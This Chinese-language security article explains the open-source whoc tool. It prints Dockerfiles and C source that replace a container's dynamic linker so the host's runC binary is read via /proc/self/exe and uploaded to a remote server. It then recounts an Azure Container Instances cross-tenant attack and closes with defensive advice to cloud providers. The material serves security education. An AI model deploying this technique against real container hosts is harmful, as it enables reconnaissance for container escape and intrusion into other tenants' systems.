容器運行時信息收集技術介紹 - 網安 - 專業的網絡安全產業、社區、知識平臺

一、前言

“內網滲透的本質是信息收集”，這句話不僅適用于傳統內網，也同樣適用于云原生環境。在進入傳統內網的后滲透階段時，首先要做的工作便是對當前所處環境做詳細的信息收集，為下一步行動做鋪墊。如果收集到主機的系統版本和補丁信息，攻擊者可以通過對比分析出適用于當前環境的系統漏洞，有的放矢地攻擊，高效率的同時也盡可能減少了痕跡。

進入云原生時代后，后滲透增加了容器逃逸的階段。在《容器逃逸技術概覽》[1]中我們了解到，容器逃逸的方式多種多樣，其中一種是利用云原生相關程序的漏洞進行逃逸，所謂相關程序漏洞，指的是那些參與到容器生態中的服務端、客戶端程序自身存在的漏洞，包括但不限于kubelet、containerd、runC等組件漏洞。但因為容器技術對資源做了隔離，所以在容器內并不能直接收集到容器外的關鍵組件信息。此種情況下，盲目地使用各種漏洞進行攻擊，顯得并不聰明而且極易暴露，很有可能觸發防護機制警報。因此我們需要思考，是否可以在容器內部收集到runC、containerd等宿主機上的組件信息？答案是肯定的。本文將介紹一種在容器內收集到容器運行時（以runC為例）信息的技術和工具——whoc[2]。

二、背景知識

2.1 runC運行過程

我們在執行功能類似于“docker run”（其他如“docker exec”等）命令時，底層實際是容器運行時在操作。例如runC，相應地，“runc run”命令會被執行。它的最終效果是在容器內部執行用戶指定的程序，該程序處在容器的各自命名空間內，且受各種限制（如Cgroups）。執行過程大體如下：runC啟動并加入到容器的命名空間，接著以自身（"/proc/self/exe"）為范本啟動一個子進程，最后通過exec系統調用執行用戶指定的二進制程序。

2.2 /proc/[PID]/exe

Linux下“一切皆文件”的機制不再詳細說明，這里僅介紹/proc/[PID]/exe的概念。它是一種特殊的符號鏈接，又被成為magiclinks，指向進程自身對應的本地程序文件(例如我們執行ls，/proc/[PID]/exe就指向/bin/ls)。它的特殊之處在于，當打開這個文件時，在權限檢查通過的情況下，內核將直接返回一個指向該文件的描述符，而非傳統的打開方式做路徑解析和文件查找。這樣一來，它實際上繞過了mnt命名空間及chroot對一個進程能夠訪問到的文件路徑的限制。

三、原理介紹

whoc是一個開源的容器鏡像，使用者可以在通過它創建的容器內部提取容器運行時程序文件，并發送到遠程服務器。該鏡像的靈感來源于CVE-2019-5736。CVE-2019-5736是一個關于runC的容器逃逸漏洞，其原理是在容器內部通過符號鏈接修改宿主機上的runC二進制文件，以root身份執行任意命令。詳情不再贅述，感興趣的朋友可以閱讀我們曾經發布的《容器逃逸成真：從CTF解題到CVE-2019-5736漏洞挖掘分析》[3]。值得注意的是，既然可以直接修改runC二進制文件，那也可以以同樣方式讀取它。這意味著，雖然CVE-2019-5736漏洞早已被修復，但是攻擊者依然可以讀取、獲得這個二進制文件，對其進行分析，找到潛在脆弱性。

3.1 whoc運行模式

whoc共有兩種模式：Dynamic Mode和Wait-For-ExecMode。

Dynamic Mode模式

Dynamic Mode的運行流程如圖1所示，大體過程描述如下：

圖1 Dynamic Mode

1. whoc鏡像的entrypoint 被設置為/proc/self/exe，鏡像里的動態鏈接庫ld.so被替換為upload_runtime，然后進行構建鏡像。

2. 一旦以該鏡像新建容器，runC會在容器內重新執行自己。

3. 由于runC是動態鏈接的，upload_runtime會被內核加載到runC進程中，并執行鏈接庫里的函數。

4. upload_runtime通過/proc/self/exe讀取runC二進制文件，并將其發送給遠程服務器。

Wait-For-Exec Mode模式

wait-for-exec模式的運行流程如圖2所示，大體過程描述如下：

圖2 Wait-For-Exec Mode

1. 鏡像構造時將upload_runtime設置為entrypoint，作為whoc容器的PID 1運行。

2. 用戶在啟動容器時應調用一個指向/proc/self/exe的進程（如docker exec whoc_ctr/proc/self/exe），使runC在容器內重新執行自己。

3. upload_runtime會通過/proc/self/exe獲取runC二進制文件并將其發送至遠程服務器。

我們以Dynamic Mode鏡像為例，對其源碼進行解讀（參考代碼中注釋）：

FROM alpine:3.15 AS compileRUN apk add build-baseWORKDIR /rootCOPY ["upload_runtime.c", "upload_runtime.h","wait_for_exec.c", \      "wait_for_exec.h","consts.h", \      "/root/"]# 編譯upload_time和wait_for_execRUN gcc -static-pie -s upload_runtime.c wait_for_exec.c -o /upload_runtime #-------------------------------- #FROM ubuntu:18.04 RUN apt update && apt install -y curl  RUN ln -s /proc/self/exe /entrypoint # 用upload_runtime覆蓋原始ld.soARG PLATFORM_LD_PATH_ARG=/lib64/ld-linux-x86-64.so.2 ENV PLATFORM_LD_PATH=$PLATFORM_LD_PATH_ARGRUN cp $PLATFORM_LD_PATH /root/ld_originalCOPY --from=compile /upload_runtime $PLATFORM_LD_PATH#entrypoint鏈接至/proc/self/exe并在容器啟動時運行它ENTRYPOINT ["/entrypoint"]CMD ["127.0.0.1"] # default address

wait-for-exec鏡像構造文件代碼如下：

FROM alpine:3.15 AS compileRUN apk add build-baseWORKDIR /rootCOPY ["upload_runtime.c", "upload_runtime.h","wait_for_exec.c", \      "wait_for_exec.h","consts.h", \      "/root/"]RUN gcc -static-pie -s upload_runtime.c wait_for_exec.c -o /upload_runtime#-------------------------------- #FROM ubuntu:18.04RUN apt update && apt install -y curl COPY --from=compile /upload_runtime /upload_runtime# 在wait_for_exec模式中直接運行upload_runtimeENTRYPOINT ["/upload_runtime", "-e"]CMD ["127.0.0.1"]# default address

upload_time主要功能是利用得到的文件描述符/proc/self/fd/讀取宿主機上runC的size和path，通過curl發送至遠程服務器，部分源碼如下：

/* 獲得主機容器運行時的文件描述符*/if(!conf.wait_for_exec)    {        /* Running as the dynamic linker of theruntime process, so the runtime should be accessible at /proc/self/exe */        /* 作為運行時進程的動態鏈接時，可以通過/proc/self/exe訪問到文件描述符 */        runtime_fd =open("/proc/self/exe", O_RDONLY);         if (runtime_fd < 0)        {            printf("[!] main:open(\"/proc/self/exe\") failed with '%s'", strerror(errno));            return 1;        }         // Restore original dynamic linker toallow curl to work properly        // 恢復初始動態鏈接，使curl能夠正常工作        ld_path = getenv(LD_PATH_ENVAR);        if (!ld_path)        {            printf("[!] main: Failed toget the '%s' environment variable", LD_PATH_ENVAR);            goto close_runtime_ret_1;        }        if (rename(ORIGINAL_LD_PATH, ld_path)< 0)        {            printf("[!] main: Failed torestore dynamic linker via rename() with '%s'", strerror(errno));            goto close_runtime_ret_1;        }    }/* 將容器鏈接至運行時文件描述符/proc/self/fd/ */     rc = snprintf(ctr_link_to_rt_buf,SMALL_BUF_SIZE, "/proc/self/fd/%d", runtime_fd);    if (rc < 0)     {        printf("[!] main:snprintf(ctr_link_to_rt_buf) failed with '%s'", strerror(errno));        goto close_runtime_ret_1;    }    if (rc >= SMALL_BUF_SIZE)    {        printf("[!] main:snprintf(ctr_link_to_rt_buf) failed, not enough space in buffer (required:%d,bufsize:%d)", rc, SMALL_BUF_SIZE);        goto close_runtime_ret_1;    }    /* 獲取運行時size */    if(fstat(runtime_fd, &file_info) != 0)    {        printf("[!] upload_file: fstat(fp)failed with '%s'", strerror(errno));        goto close_runtime_ret_1;    }     /* 獲取運行時在宿主機上的path*/    rc = readlink(ctr_link_to_rt_buf,rt_hostpath_buf, SMALL_BUF_SIZE);    if (rc < 0)    {        printf("[!] main:readlink(ctr_link_to_rt_buf) failed with '%s', continuing without the runtime'spath", strerror(errno));        rt_hostpath = NULL;    }    else    {        rt_hostpath_buf[rc] = 0;        rt_hostpath = rt_hostpath_buf;    }

最終我們可以在服務器上收到發送來的runC二進制文件（實際文件名是6位長度隨機字符串，如圖3），賦予其執行權限并執行它，可以獲取版本等詳細信息，后續根據版本判斷runC是否存在相關漏洞。

圖3 收到runC后的執行結果

3.2 應用案例

Azure Container Instances (ACI) 是 Azure 的容器即服務 (CaaS) 產品，允許客戶能夠在Azure 中運行容器而無需管理底層服務器。圖4展示了托管在多租戶Kubernetes集群上的Azure容器實例：

圖4 托管在多租戶Kubernetes 集群上的 ACI

在ACI多租戶環境中，出于安全考慮，每個客戶容器都會在專用的單租戶節點上運行，如圖4中客戶1的容器實例在Worker Node 1上運行，租戶之間存在強邊界，以此來防止相鄰容器的惡意攻擊。但由于任何人都可以在平臺上部署容器，若ACI不能確保惡意容器不會破壞或影響其他租戶的容器，那很有可能存在跨租戶攻擊的風險。

whoc的作者Yuval Avrahami通過將whoc部署到ACI中，成功收集到了容器運行時的信息[4]，發現runC的版本較低，存在CVE-2019-5736逃逸漏洞，可以通過容器逃逸獲取到Worker Node的權限，后續通過在集群內的探測和漏洞利用一步步獲取到ACI集群的最高權限，完成了公有云上的跨租戶攻擊。Azure官網在確認該風險后獎勵YuvalAvrahami 70000美元[5]，可見該風險的嚴重性。

四、總結與思考

隨著公有云、私有云和混合云的廣泛部署，云環境可能要遭受更多的攻擊。本文通過介紹一種容器運行時收集技術的原理和應用案例，證明即使是看似安全的多租戶強邊界公有云環境，也可能在某一環節被攻擊者收集到敏感信息，并通過該信息發現可能存在的風險然后加以利用，以致云上權限一步步淪陷。

因此，作為云服務提供商，云環境的安全建設不可懈怠。不僅要對用戶使用的容器環境做權限限制和隔離，同時也應保證云原生相關程序本身的安全性，避免可能的逃逸風險。“沒有絕對的安全”，安全建設永不停歇。

參考文獻

[1] https://mp.weixin.qq.com/s/_GwGS0cVRmuWEetwMesauQ

[2] https://github.com/twistlock/whoc

[3] https://mp.weixin.qq.com/s/UZ7VdGSUGSvoo-6GVl53qg

[4] https://unit42.paloaltonetworks.com/azure-container-instances/

[5] https://hacker-gadgets.com/blog/tag/whoc/